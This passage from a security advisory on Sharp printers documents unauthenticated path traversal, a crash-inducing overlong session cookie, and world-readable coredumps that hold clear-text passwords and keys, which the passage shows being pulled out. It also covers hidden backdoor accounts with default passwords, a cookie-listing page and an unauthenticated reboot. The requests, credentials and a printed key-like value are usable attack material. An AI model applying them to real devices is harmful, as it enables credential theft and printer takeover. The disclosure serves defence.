[ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001 
[ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002 
[ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799 
[ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000 
[ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0 
[ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000

[ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512)
[ 9914.548702] [BSPIF]bspif_pof_wait:
[ 9988.116784] Panic : Oops Exit !!! [comm:irq/20-serial] [user_mode:0]
</code></pre>
<p>With the creation of the corresponding coredump files:</p>
<pre><code>sh-4.3# cd /mnt/log &amp;&amp; ls -latr
[...]
-rw-r--r--  1 root root  19133981 May 18 11:48 core-main.log.gz.001
-rw-r--r--  1 root root         0 May 18 11:48 ERR_IFS.log
-rw-r--r--  1 root root  19133981 May 18 11:48 ERR_core-main.log.gz
-rw-r--r--  1 root root     97230 May 18 11:48 ERR_kern.log
-rw-r--r--  1 root root         0 May 18 11:48 ERR_core-pdl.log.gz
-rw-r--r--  1 root root         0 May 18 11:48 ERR_log_ui_mainview.log
-rw-r--r--  1 root root     21262 May 18 11:48 ERR_pdl.log
-rw-r--r--  1 root root       315 May 18 11:48 ERR_nf.log
-rw-r--r--  1 root root    314620 May 18 11:48 ERR_main.log
-rw-r--r--  1 root root     97363 May 18 11:48 kern.log.001
-rw-r--r--  1 root root     18653 May 18 11:48 vmstat.log.001
-rw-r--r--  1 root root       377 May 18 11:48 umount.log.001
-rw-r--r--  1 root root      1861 May 18 11:48 slinkerr1.log
-rw-r--r--  1 root root      4582 May 18 11:48 slinkerr0.log
-rw-r--r--  1 root root     45625 May 18 11:48 watch_idle.log
-rw-r--r--  1 root root    314692 May 18 11:49 main.log
-rw-r--r--  1 root root       132 May 18 11:49 bsp.log
-rw-r--r--  1 root root     96435 May 18 11:49 kern.log
-rw-r--r--  1 root root       407 May 18 11:49 vmstat.log
sh-4.3# date
Thu May 18 11:50:40 UTC 2023
sh-4.3# uptime
 11:51:55 up 3 min,  0 users,  load average: 1.36, 0.95, 0.40
sh-4.3#
</code></pre>
<p><a id="world-readable-coredump-files-insecure-storage-creds"></a></p>
<h2>Details - World-readable coredump files and insecure storage of credentials</h2>
<p>It was observed that the coredump files located in the Sharp printers have incorrect permissions. Any local user can read them. These coredump files contain all the clear-text credentials of the users.</p>
<p>Core files present in /mnt/log:</p>
<pre><code>sh-4.3# ls -la /mnt/log | grep core
-rw-r--r--  1 root root  16120921 May 11 15:18 ERR_core-main.log.gz
-rw-r--r--  1 root root         0 May 11 15:18 ERR_core-pdl.log.gz
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz.001
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-IFS.log.gz.002
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz.001
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-NX.log.gz.002
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-bcr_iface.log.gz
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-bcr_iface.log.gz.001
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-bcr_iface.log.gz.002
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-main.log.gz
-rw-r--r--  1 root root         0 Jan  1  2000 SWOFF_core-main.log.gz.001
...
-rw-r--r--  1 root root         0 Jan  1  2000 core-main.log.gz
-rw-r--r--  1 root root  16120921 May 11 15:18 core-main.log.gz.001
-rw-r--r--  1 root root  13566117 May 11 15:16 core-main.log.gz.002
-rw-r--r--  1 root root  17158453 May 11 15:12 core-main.log.gz.003
-rw-r--r--  1 root root  17332354 May 11 12:32 core-main.log.gz.004
-rw-r--r--  1 root root  20440117 May 11 12:28 core-main.log.gz.005
-rw-r--r--  1 root root  22170528 May 10 11:47 core-main.log.gz.006
-rw-r--r--  1 root root         0 Jan  1  2000 core-main.log.gz.007
...
sh-4.3# cd /mnt/log &amp;&amp; ls -la|grep ERR
-rw-r--r--  1 root root         0 May 15 14:11 ERR_IFS.log
-rw-r--r--  1 root root  17316180 May 15 14:11 ERR_core-main.log.gz
-rw-r--r--  1 root root         0 May 15 14:11 ERR_core-pdl.log.gz
-rw-r--r--  1 root root     97316 May 15 14:11 ERR_kern.log
-rw-r--r--  1 root root         0 May 15 14:11 ERR_log_ui_mainview.log
-rw-r--r--  1 root root    314188 May 15 14:11 ERR_main.log
-rw-r--r--  1 root root       315 May 15 14:11 ERR_nf.log
-rw-r--r--  1 root root     21262 May 15 14:11 ERR_pdl.log
sh-4.3#
</code></pre>
<p>The files are world-readable and contain valid coredump files as shown below:</p>
<pre><code>kali% file core-main.log
core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV), SVR4-style, from '/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk', real uid: 0, effective uid: 0, real gid: 0, effective
</code></pre>
<p>The core file contains in clear-text:</p>
<ul>
<li>session IDs;</li>
<li>password for all the users (even when the printer booted and no user logged into the printer (!));</li>
<li>emails;</li>
<li>Encryption keys.</li>
</ul>
<p>For example, some keys:</p>
<pre><code>kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY
CloudPollingConst
VENDOR_KEY
YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw==
TENANT_ENCRYPT_KEY
GMuQt[REDACTED]
</code></pre>
<p>The core file contains the password (<code>PASS-PIERRE</code>) of the admin user even when the admin user has not been logged-in the printer since the printer booted:</p>
<pre><code>kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE
PASS-PIERRE
</code></pre>
<p>All the clear-text passwords can be found inside the core file:</p>
<pre><code>kali% zcat core-main.log.gz.001 | strings | less
/mnt/std01/ACCBURS/
/mnt/std04/ACC/BROWSER/BROWSER_NONUSR  
/mnt/std01/ACC/AccBackUp/BROWSER_NONUSR
/mnt/std01/ACC/AccUserInfo      
/mnt/std04/ACC
/mnt/std01/ACC/AccUserInfo2     
/mnt/std04/ACC/BROWSER
/mnt/std01/ACC/AccGrpPrmtInfo   
/mnt/std01/ACCBURS 
/mnt/std01/ACC/AccFlashUserCounter
/mnt/std01/ACC/AccFlashBackUp   
/mnt/std01/ACC/AccTotalPix      
/mnt/std01/ACC/AccBackUp/JobInfo
Other User  
Other
Vender
Vender
Administrator 
admin
PASS-PIERRE &lt;------------------- clear-text password for admin
Service
service
service
User
users
users
Vender2
Vender2
FSS User
servicefss
servicefss
System Operator
sysadmin
sysadmin
Device Account
deviceaccount
deviceaccount
/mnt/std01/ACC/AccGrpHomeInfo
/mnt/std01/ACC/AccBackUp
/mnt/std01/ACC
/mnt/std01/ACC/AccUserPixel
/mnt/std01/ACC/BROWSER
/mnt/std01/ACC/AccGrpCstmInfo
</code></pre>
<p>There is no encryption for the /mnt/log partition:</p>
<pre><code>sh-4.3# df -h /mnt/log
Filesystem      Size  Used Avail Use% Mounted on
/dev/mmcblk0p3  791M  145M  589M  20% /mnt/log
sh-4.3#
</code></pre>
<p>All the passwords can be found inside the core file after the printer just booted and no user logged: this is abnormal and shows the authentication mechanism is incorrectly implemented.</p>
<p>A local attacker can extract all the passwords.</p>
<p>A remote attacker using an additional vulnerability (e.g. Local File Inclusion) can recover all the passwords and compromise the printer (see the next vulns).</p>
<p><a id="pre-auth-arbitrary-directory-listing"></a></p>
<h2>Details - Arbitrary Directory Listing without authentication</h2>
<p>It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.</p>
<p>It is possible to list the manual index files by visiting the <code>/installed_emanual_list.html</code> without authentication:</p>
<p><img alt="" src="images/2024-sharp-directory-listing-1.png" /></p>
<p><a href="images/2024-sharp-directory-listing-1-full.png">Click here for full image</a></p>
<p>By changing the folder argument in the address, it is possible to browse the entire file systems of the printer.</p>
<p>Request to <code>installed_emanual_list.html?folder=../../../</code> will list the <code>/</code> file system:</p>
<p><img alt="" src="images/2024-sharp-directory-listing-2.png" /></p>
<p><a href="images/2024-sharp-directory-listing-2-full.png">Click here for full image</a></p>
<p>Files located in /etc:</p>
<p><img alt="" src="images/2024-sharp-directory-listing-3.png" /></p>
<p><a href="images/2024-sharp-directory-listing-3-full.png">Click here for full image</a></p>
<p>Using the vulnerability <a href="#pre-auth-lfi">Local File Inclusion allowing to read any file (e.g. Coredump files)</a>, it is then possible to download any file.</p>
<p>An attacker can browse the file systems of the printers and download any file.</p>
<p>A remote attacker can recover all the passwords by downloading coredump files and compromise the printer.</p>
<p><a id="pre-auth-lfi"></a></p>
<h2>Details - Local File Inclusion allowing to read any file (e.g. Coredump files) without authentication</h2>
<p>It was observed that Sharp printers are vulnerable to a local file inclusion without authentication. Any attacker can read any file located in the printer.</p>
<p>Normal request to retrieve the manual index files:</p>
<p><img alt="" src="images/2024-sharp-lfi-01.png" /></p>
<p>By default, the manual index files are located in /mnt/std_data/manual inside the printer:</p>
<pre><code>sh-4.3# pwd
/mnt/std_data/manual
sh-4.3# ls -la MX-M4071_inch_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30  2020 MX-M4071_inch_web.idx
sh-4.3# ls -la
total 233
drwxrwxr-x  4 1000 pulse 2536 Jul 31  2020 .
drwxr-xr-x  9 root root  4096 Mar  1  2022 ..
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_ab_web.idx
-rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M2651_aus_web.idx
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_canada_web.idx
-rw-rw-r--  1 1000 pulse 9590 Jul 30  2020 MX-M2651_europe_web.idx
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_inch_web.idx
-rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M2651_uk_web.idx
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_usa_web.idx
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M3051_ab_web.idx
-rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M3051_aus_web.idx
-rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M3051_canada_web.idx
-rw-rw-r--  1 1000 pulse 9590 Jul 30  2020 MX-M3051_europe_web.idx
</code></pre>
<p>The normal request is:</p>
<pre><code>GET /installed_emanual_down.html?path=/manual/MX-M4071_inch_web.idx  HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
</code></pre>
<p>The <code>path=</code> argument can be manipulated to retrieve any file in the printer. The session cookie is not required as this vulnerability does not require authentication:</p>
<p>For example, retrieving /etc/passwd:</p>
<pre><code>GET /installed_emanual_down.html?path=/manual/../../../etc/passwd  HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
</code></pre>
<p><img alt="" src="images/2024-sharp-lfi-02.png" /></p>
<p>It is possible to generate a coredump file, download it and extract credentials to remotely compromise the printer without credentials using this vulnerability along with the vulnerabilities:</p>
<ul>
<li><a href="#pre-auth-invalid-pointer-dereference">Invalid (0x000000d0) pointer dereference - Remote DoS without authentication</a> or</li>
<li><a href="#pre-auth-memory-corruption">Memory corruption in the main program - Remote Code Execution against the web server without authentication</a> and</li>
<li><a href="#world-readable-coredump-files-insecure-storage-creds">World-readable coredump files and insecure storage of credentials</a>, </li>
</ul>
<p><a id="pre-auth-lfi-pwn-01"></a></p>
<h3>Generation of the coredump file on the printer</h3>
<p>Using the HTTP request:</p>
<pre><code>kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /system.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
&gt;
</code></pre>
<p><a id="pre-auth-lfi-pwn-02"></a></p>
<h3>Local File Inclusion of the coredump file</h3>
<p>We download the coredump file using the Local File Inclusion:</p>
<pre><code>kali% curl -i -s -k -X $'GET' \
    -H $'Host: 10.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    $'http://10.0.0.1/installed_emanual_down.html?path=/manual/../../../mnt/log/core-main.log.gz.001' &gt; core-main.log.gz.001
kali% ls -la
total 16920
drwx------ 2 user user     4096 May 15 10:13 .
drwx------ 6 user user     4096 May 15 10:13 ..
-rw------- 1 user user 17316455 May 15 10:13 core-main.log.gz.001
kali% head -n 9 core-main.log.gz.001
HTTP/1.1 200 OK
Server: Rapid Logic/1.1
MIME-version: 1.0
Date: Thu Jan  1 00:02:12 1970 GMT
Content-Type: application/octet-stream; name=core-main.log.gz.001
Content-disposition: attachment; filename=core-main.log.gz.001
Content-Length: 17316180
Connection: close
</code></pre>
<p>We remove the first 9 lines from the core file (corresponding to HTTP headers) to generate a valid gzip file:</p>
<pre><code>kali% vi core-main.log.gz.001
kali% file core-main.log.gz.001
core-main.log.gz.001: gzip compressed data, last modified: Mon May 15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzip compressed data, reserved method, ASCII, has CRC, has comment, encrypted, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 176379936
kali%
</code></pre>
<p><a id="pre-auth-lfi-pwn-03"></a></p>
<h3>Retrieve of credentials using the coredump files</h3>
<p>The core file contains the password (<code>PASS-PIERRE</code>) of the admin user even when the admin user has not been logged-in to the printer since the printer booted:</p>
<p>All the passwords can be found inside the core file, located near the <code>admin</code> string:</p>
<pre><code>kali% zcat core-main.log.gz.001 | strings | less
/mnt/std01/ACCBURS/
/mnt/std04/ACC/BROWSER/BROWSER_NONUSR  
/mnt/std01/ACC/AccBackUp/BROWSER_NONUSR
/mnt/std01/ACC/AccUserInfo      
/mnt/std04/ACC
/mnt/std01/ACC/AccUserInfo2     
/mnt/std04/ACC/BROWSER
/mnt/std01/ACC/AccGrpPrmtInfo   
/mnt/std01/ACCBURS 
/mnt/std01/ACC/AccFlashUserCounter
/mnt/std01/ACC/AccFlashBackUp   
/mnt/std01/ACC/AccTotalPix      
/mnt/std01/ACC/AccBackUp/JobInfo
Other User  
Other
Vender
Vender
Administrator 
admin
PASS-PIERRE &lt;--------------------- clear-text password for admin
Service
service
service
User
users
users
Vender2
Vender2
FSS User
servicefss
servicefss
System Operator
sysadmin
sysadmin
Device Account
deviceaccount
deviceaccount
/mnt/std01/ACC/AccGrpHomeInfo
/mnt/std01/ACC/AccBackUp
/mnt/std01/ACC
/mnt/std01/ACC/AccUserPixel
/mnt/std01/ACC/BROWSER
/mnt/std01/ACC/AccGrpCstmInfo
</code></pre>
<p><a id="pre-auth-lfi-pwn-04"></a></p>
<h3>Retrieve of credentials using configuration files</h3>
<p>The configuration files containing the credentials can be found in the /mnt/std04/DBMS/uaccnt.</p>
<p>When a password is updated, the files present in <code>/mnt/std04/DBMS/uaccnt/*</code> will be updated. It is possible to retrieve some credentials from these files:</p>
<pre><code>sh-4.3# pwd 
/mnt/std04/DBMS/uaccnt
sh-4.3# hexdump -C 9.01
00000000  ff ff ff bf ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
00000010  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
[...]
00005010  61 64 6d 69 6e 02 00 00  00 00 d0 00 00 64 65 76  |admin........dev|
00005020  69 63 65 61 63 63 6f 75  6e 74 09 00 00 00 00 50  |iceaccount.....P|
00005030  00 00 4f 74 68 65 72 01  00 00 00 00 70 00 00 73  |..Other.....p..s|
00005040  65 72 76 69 63 65 04 00  00 00 07 30 00 00 66 73  |ervice.....0..fs|
00005050  73 07 00 00 00 01 70 00  00 79 73 61 64 6d 69 6e  |s.....p..ysadmin|
00005060  08 00 00 00 00 50 00 00  75 73 65 72 73 05 00 00  |.....P..users...|
00005070  00 00 60 00 00 56 65 6e  64 65 72 03 00 00 00 06  |..`..Vender.....|
00005080  10 00 00 32 06 00 00 00  00 00 00 00 00 00 00 00  |...2............|
00005090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
[...]
sh-4.3#
</code></pre>
<p>An attacker can download these files and analyze them to retrieve the passwords.</p>
<p><a id="pre-auth-cookies"></a></p>
<h2>Details - Backdoor webpage - Listing of session cookies without authentication</h2>
<p>It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers.</p>
<p>It is possible to list the <code>MFPSESSIONID</code> session cookies by visiting the <code>/sessionlist.html</code> webpage without authentication:</p>
<p><img alt="" src="images/2024-sharp-listing-cookies.png" /></p>
<p><a href="images/2024-sharp-listing-cookies-full.png">Click here for full image</a></p>
<p>It is also possible to use curl from another machine:</p>
<pre><code>kali% curl -kv http://10.0.0.1/sessionlist.html
[...]
        &lt;h2&gt;Session list&lt;/h2&gt;
    &lt;table  class="matrix"&gt;
        &lt;tr&gt;
                &lt;th&gt;No.&lt;/th&gt;
                &lt;th&gt;User&lt;/th&gt;
                &lt;th&gt;From&lt;/th&gt;
                &lt;th&gt;Last login&lt;/th&gt;
                &lt;th&gt;Last access&lt;/th&gt;
                &lt;th&gt;Language ID&lt;/th&gt;
                &lt;th&gt;Cookie&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                        &lt;td&gt;0000&lt;/td&gt;
                        &lt;td&gt;Administrator&lt;/td&gt;
                        &lt;td&gt;10.0.0.10&lt;/td&gt;
                        &lt;td&gt;2023/05/16(Tue) 13:35:38&lt;/td&gt;
                        &lt;td&gt;2023/05/16(Tue) 13:35:38&lt;/clearTOStd&gt;
                        &lt;td&gt;02&lt;/td&gt;
                        &lt;td&gt;MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D&lt;/td&gt;
                &lt;/tr&gt;
        &lt;/table&gt;
[...]
</code></pre>
<p>An attacker can retrieve valid session cookies and compromise the printer.</p>
<p>Note that a victim user must have been logged inside the printer prior to this attack in order to retrieve the corresponding session cookies.</p>
<p><a id="pre-auth-conf-webpages"></a></p>
<h2>Details - Configuration webpages reachable without authentication</h2>
<p>It was observed that some authenticated webpages are reachable without authentication on Sharp printers. Any attacker can modify parameters on these webpages without authentication.</p>
<p>A list of webpages supposed to require authentication but reachable without authentication is listed below:</p>
<ul>
<li>/address_smime_install.html</li>
<li>/send_fax_fcode_entry.html</li>
<li>/send_fax_fcode_entry_relay.html</li>
<li>/send_fax_fcode.html</li>
<li>/send_inbound_address_entry.html</li>
<li>/send_inbound_entry.html</li>
<li>/send_inbound.html</li>
<li>/send_receive_fw.html</li>
<li>/printer_ps.html</li>
</ul>
<p>For example, <code>/printer_ps.html</code>:</p>
<p><img alt="" src="images/2024-sharp-printer_ps.png" /></p>
<p><a href="images/2024-sharp-printer_ps-full.png">Click here for full image</a></p>
<p>An attacker can modify parameters of the printers without authentication.</p>
<p>The vendor confirmed this is the attended behavior.</p>
<p><a id="pre-auth-dos"></a></p>
<h2>Details - Reboot without authentication - Remote DoS</h2>
<p>It was observed that a specific webpage is reachable without authentication on Sharp printers. Any attacker can use this webpage to reboot the printer.</p>
<p>It is possible to reboot the printer by visiting the /sys_trayentryreboot.html without authentication.</p>
<p>When confirming the <code>Reboot Now</code> action, the printer will reboot:</p>
<p><img alt="" src="images/2024-sharp-unauth-reboot.png" /></p>
<p><a href="images/2024-sharp-unauth-reboot-full.png">Click here for full image</a></p>
<p>The printer will then reboot and will be unreachable for some minutes:</p>
<pre><code>PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
^C
--- 10.0.0.1 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4083ms
</code></pre>
<p>An attacker can DoS the printer by rebooting it indefinitely.</p>
<p><a id="backdoor-service"></a></p>
<h2>Details - Backdoor access - Service</h2>
<p>Sharp printers are configured with default credentials. Some accounts are hidden and can be abused by attackers to compromise the printers.</p>
<p>When analyzing the configuration of the printers, it appears there are several accounts visible on the web interface:</p>
<ul>
<li><code>Administrator</code> (uid 3)</li>
<li><code>System Administrator</code> (uid 8, as <code>System Operator</code>)</li>
<li><code>User</code> (uid 5)</li>
<li><code>Device Account</code> (uid 9)</li>
<li><code>Other User</code> (uid 1)</li>
</ul>
<p>After doing reverse engineering, the default passwords have been obtained:</p>
<ul>
<li>System Administrator: sysadmin</li>
<li>User: users</li>
<li>Device Account: deviceaccount</li>
<li>Other User: Other</li>
</ul>
<p>The Service account (corresponding to uid 4) does not appear on the user list, is not documented and allows an attacker to change the configuration of the printers and update the firmware image. The password for Service is <code>service</code>.</p>
<p>Several webpages can be found corresponding to this service user:</p>
<ul>
<li>/devicecloning_pp.html</li>
<li>/devicecloning.html</li>
<li>/service_ura_status_page.html</li>
<li>/service_testpage_ok.html</li>
<li>/service_testpage.html</li>
<li>/service_syslog_view.html</li>
<li>/service_syslog_settings_storage.html</li>
<li>/service_syslog_settings_server.html</li>
<li>/service_syslog_setting.html</li>
<li>/service_syslog_select.html</li>
<li>/service_syslog_save.html</li>
<li>/service_syslog_download.html</li>
<li>/service_softsw.html</li>
<li>/service_reboot.html</li>
<li>/serfildata_savepc.html</li>
<li>/service_account.html</li>
<li>/service_admin.html</li>
<li>/service_device_cloning.html</li>
<li>/service_filingdata.html</li>
<li>/service_testpage.html</li>
<li>/service_firm.html</li>
<li>/service_testpage.html</li>
<li>/service_font_down.html</li>
<li>/service_joblog.html</li>
<li>/service_joblog_list.html</li>
<li>/service_joblog_download.html</li>
<li>/service_joblog_select.html</li>
<li>/service_joblog_list_download.html</li>
<li>/service_machineid.html</li>
<li>/service_password.html</li>
<li>/sys_paperproperty.html</li>
<li>/sys_paperproperty_entry.html</li>
</ul>
<p>Listing of users:</p>
<p><img alt="" src="images/2024-sharp-admin-users.png" /></p>
<p><a href="images/2024-sharp-admin-users-full.png">Click here for full image</a></p>
<p>The service account can be discovered by visiting the webpage http://[ip]/account_user_entry.html?userid=-4 but the information cannot be edited:</p>
<p><img alt="" src="images/2024-sharp-user-service.png" /></p>
<p><a href="images/2024-sharp-user-service-full.png">Click here for full image</a></p>
<p>The <code>service</code> account can be used to change the configuration of the printer. The default webpage is http://[ip]/service_testpage.html and provides access to a lot of hidden functionalities:</p>
<ul>
<li>Device Cloning</li>
<li>Update of the firmware image to insert a malicious firmware image</li>
<li>Export settings</li>
<li>Configuration of the log server (disabling the logs, erasing the logs, ...)</li>
</ul>
<p>Device cloning:</p>
<p><img alt="" src="images/2024-sharp-service-clone.png" /></p>
<p><a href="images/2024-sharp-service-clone-full.png">Click here for full image</a></p>
<p>Update of the firmware:</p>
<p><img alt="" src="images/2024-sharp-service-update-fw.png" /></p>
<p><a href="images/2024-sharp-service-update-fw-full.png">Click here for full image</a></p>
<p>An attacker can use this additional backdoor account to compromise the printers.</p>
<p><a id="backdoor-fss-user"></a></p>
<h2>Details - Backdoor access - FSS User</h2>
<p>Sharp printers are configured with default credentials. Some accounts are hidden and can be abused by attackers to compromise the printers.</p>
<p>When analyzing the configuration of the printers, it appears there are several accounts visible on the web interface:</p>
<ul>
<li><code>Administrator</code> (uid 3)</li>
<li><code>System Administrator</code> (uid 8, as <code>System Operator</code>)</li>
<li><code>User</code> (uid 5)</li>
<li><code>Device Account</code> (uid 9)</li>
<li><code>Other User</code> (uid 1)</li>
</ul>
<p>After doing reverse engineering, the default passwords have been obtained:</p>
<ul>
<li>System Administrator: sysadmin</li>
<li>User: users</li>
<li>Device Account: deviceaccount</li>
<li>Other User: Other</li>
</ul>
<p>The FSS User account (corresponding to uid 7) does not appear on the user list, is not documented and allows an attacker to change the configuration of the printers and update the firmware image.</p>
<p>The password for FSS User is <code>servicefss</code>.</p>
<p>The FSS User has also admin privileges.</p>
<p>Several webpages can be found corresponding to this service user:</p>
<ul>
<li>/fss_default.html</li>
<li>/fss.html</li>
<li>/fss_password.html</li>
<li>/fss_account.html</li>
<li>/fss_backup_export.html</li>
<li>/fss_backup.html</li>
<li>/fss_backup_reboot.html</li>
</ul>
<p>The service account can be discovered by visiting the webpage http://[ip]/account_user_entry.html?userid=-7 but the information cannot be edited:</p>
<p><img alt="" src="images/2024-sharp-user-fssuser.png" /></p>
<p><a href="images/2024-sharp-user-fssuser-full.png">Click here for full image</a></p>
<p>The FSS User account can be used to change the configuration of the printer. The default webpage is http://[ip]/fss.html and provides access to hidden functionalities related to the support and a blind SSRF vulnerability:</p>
<p><img alt="" src="images/2024-sharp-fss.png" /></p>
<p><a href="images/2024-sharp-fss-full.png">Click here for full image</a></p>
<p>Reboot of the printer:</p>
<p><img alt="" src="images/2024-sharp-fss-reboot.png" /></p>
<p><a href="images/2024-sharp-fss-reboot-full.png">Click here for full image</a></p>
<p>An attacker can use this additional backdoor account to compromise the printers.</p>
<p><a id="insecure-default-credentials"></a></p>
<h2>Details - Insecure default credentials</h2>
<p>Sharp printers are configured with default and insecure credentials.</p>
<p>When doing reverse engineering against the <code>main</code> binary located inside the Sharp firmware image, we can extract the list of passwords for:</p>
<ul>
<li><code>Administrator</code> / <code>admin</code></li>
<li><code>Other User</code> / <code>Other</code></li>
<li><code>Device Account</code> / <code>deviceaccount</code></li>
<li><code>FSS User</code> / <code>servicefss</code></li>
<li><code>Service</code> / <code>service</code></li>
<li><code>User</code> / <code>users</code></li>
<li><code>System Operator</code> / <code>sysadmin</code></li>
</ul>
<p>Listing of username when analyzing main:</p>
<p><img alt="" src="images/2024-sharp-main-users-list.png" /></p>
<p>The listing of users can be retrieved from the web interface, using the admin user:</p>
<ul>
<li><code>Other User</code> - http://[ip]/account_user_entry.html?userid=-1</li>
<li><code>Vender</code> - http://[ip]/account_user_entry.html?userid=-2</li>
<li><code>Administrator</code> - http://[ip]/account_user_entry.html?userid=-3</li>
<li><code>Service</code> - http://[ip]/account_user_entry.html?userid=-4</li>
<li><code>User</code> - http://[ip]/account_user_entry.html?userid=-5</li>
<li><code>Vender2</code> - http://[ip]/account_user_entry.html?userid=-6</li>
<li><code>FSS User</code> - http://[ip]/account_user_entry.html?userid=-7, with admin privileges</li>
<li><code>System Operator</code> - http://[ip]/account_user_entry.html?userid=-8</li>
<li><code>Device Account</code> - http://[ip]/account_user_entry.html?userid=-9, with admin privileges</li>
</ul>
<p>An attacker can use these default accounts to compromise the printers.</p>
<p>The vendor confirmed this is the attended behavior.</p>
<p><a id="read-admin-access-telnet"></a></p>
<h2>Details - read admin access on telnet</h2>
<p>It is possible to bypass the authentication of the telnet server of any Sharp Printer (running any firmware version) by specifying an invalid user.</p>
<p>This authentication bypass provides an attacker with a full READ admin access to the printer.</p>
<p>Without the corresponding password of the admin user, the access will be denied:</p>
<pre><code>kali% telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.
Copyright(C) 2005-     SHARP CORPORATION
Copyright(C) 2005-     silex technology, Inc.
login: admin
'admin' user needs password to login.
password:
Login incorrect.
Connection closed by foreign host.
kali%
</code></pre>
<p>It is possible to send an invalid username (e.g. <code>adminAAAAAAAAAAAAAAAA[...]</code>) to bypass the authentication and get READ access with admin privileges:</p>
